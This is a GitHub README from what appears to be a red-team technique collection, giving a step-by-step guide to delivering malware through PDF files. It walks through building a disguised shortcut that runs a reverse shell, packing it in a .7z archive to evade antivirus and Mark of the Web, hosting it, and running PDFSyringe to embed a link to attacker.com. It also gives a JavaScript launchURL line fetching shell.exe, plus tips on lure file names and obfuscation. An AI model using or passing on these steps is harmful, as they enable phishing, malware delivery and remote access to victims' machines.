Skip to content

README.md

Latest commit

 

History

History
131 lines (82 loc) · 5.95 KB

README.md

File metadata and controls

131 lines (82 loc) · 5.95 KB

Malicious PDF (Portable Document Format)

Type: Malicious Documents & File-Based Delivery
Platform: Windows, macOS, Linux (PDF Reader or browser-dependent)
Prerequisites: User must open the PDF file in a vulnerable or misconfigured PDF reader (e.g., Adobe Reader with JavaScript enabled) for Code Execution

Overview

Malicious PDF files are widely used in phishing campaigns and red team operations for initial access. PDFs can embed JavaScript, launch actions, file attachments, and even execute external programs in some cases.

Attackers exploit JavaScript execution, action triggers, and vulnerabilities in PDF viewers (e.g., Adobe Reader CVE-2010-1240, CVE-2018-4990, CVE-2023-26369, CVE-2024-41869 ) to:

How It Works

  1. The attacker creates a malicious PDF file.
  2. The PDF includes either :
  3. When the user opens the file, the embedded code is executed automatically or after user interaction, depending on the PDF reader's configuration.

Some PDF exploits do not require user interaction and trigger on open.

Prerequisites

Tools Needed

  • msfvenom or other payload generator (optional)
  • pdf editor or a tool to generate a malicious pdf file e.g : PDFSyringe or EvilPDF
  • msfconsole or nc (for listening)

Steps to Implement

in most cases we will use PDFs to drop malware or harvest credentials ( with social engineering ), so i'll demonstrate how to leverage PDFs to drop malware on the target system ( and convince the victim to open the dropped malware )

  1. Create Payload (Reverse Shell)

we'll create a shortcut ( .lnk ) that execute our reverse shell and make it looks like a benign document , then we'll compress it into a .7z archive ( to evade av and evade windows Mark of the Web ).

so at the end we will have a 7-zip archive that contain our shortcut file and a pdf file to display to the victim ( to avoid raising suspicion )

  1. host the payload

use python to host the payload ( zip archive )

python -m http.server 80
  1. Embed a URI to the remote payload

Use PDFSyringe to make a pdf file that has a clickable link to the payload

git clone https://github.com/o-sec/PDFSyringe

cd PDFSyringe

chmod +x pdfsyringe.py 

./pdfsyringe.py -u http://attacker.com/payload.7z -t template.pdf -o document1.pdf

This generates a malicious pdf file with the embedded clickable URI to the payload.

  1. Deliver the PDF
  1. Execution

when the victim opens the PDF file will potentially fall for the social engineering lure and download the 7zip archive and extract it then hopefully open the stage2 payload, then we'll get a reverse shell :)

at the end of the day it depends on social engineering. but in some cases we could exploit vulnerabilities in pdf readers like : CVE-2010-1240, CVE-2018-4990, CVE-2023-26369, CVE-2024-41869

Payload/Code Snippets

  • JavaScript Trigger Inside PDF
app.launchURL("http://attacker.com/shell.exe", true);
  • alert with javascript
app.alert("hello !");

Tips

  • Rename the PDF to something enticing: Invoice_351.pdf
  • Use password-protected ZIP to deliver the PDF if AV blocks it
  • PDF readers vary in behavior, test on Adobe Reader and browser PDF viewers
  • Use obfuscated JavaScript for stealth

References

Author : o-sec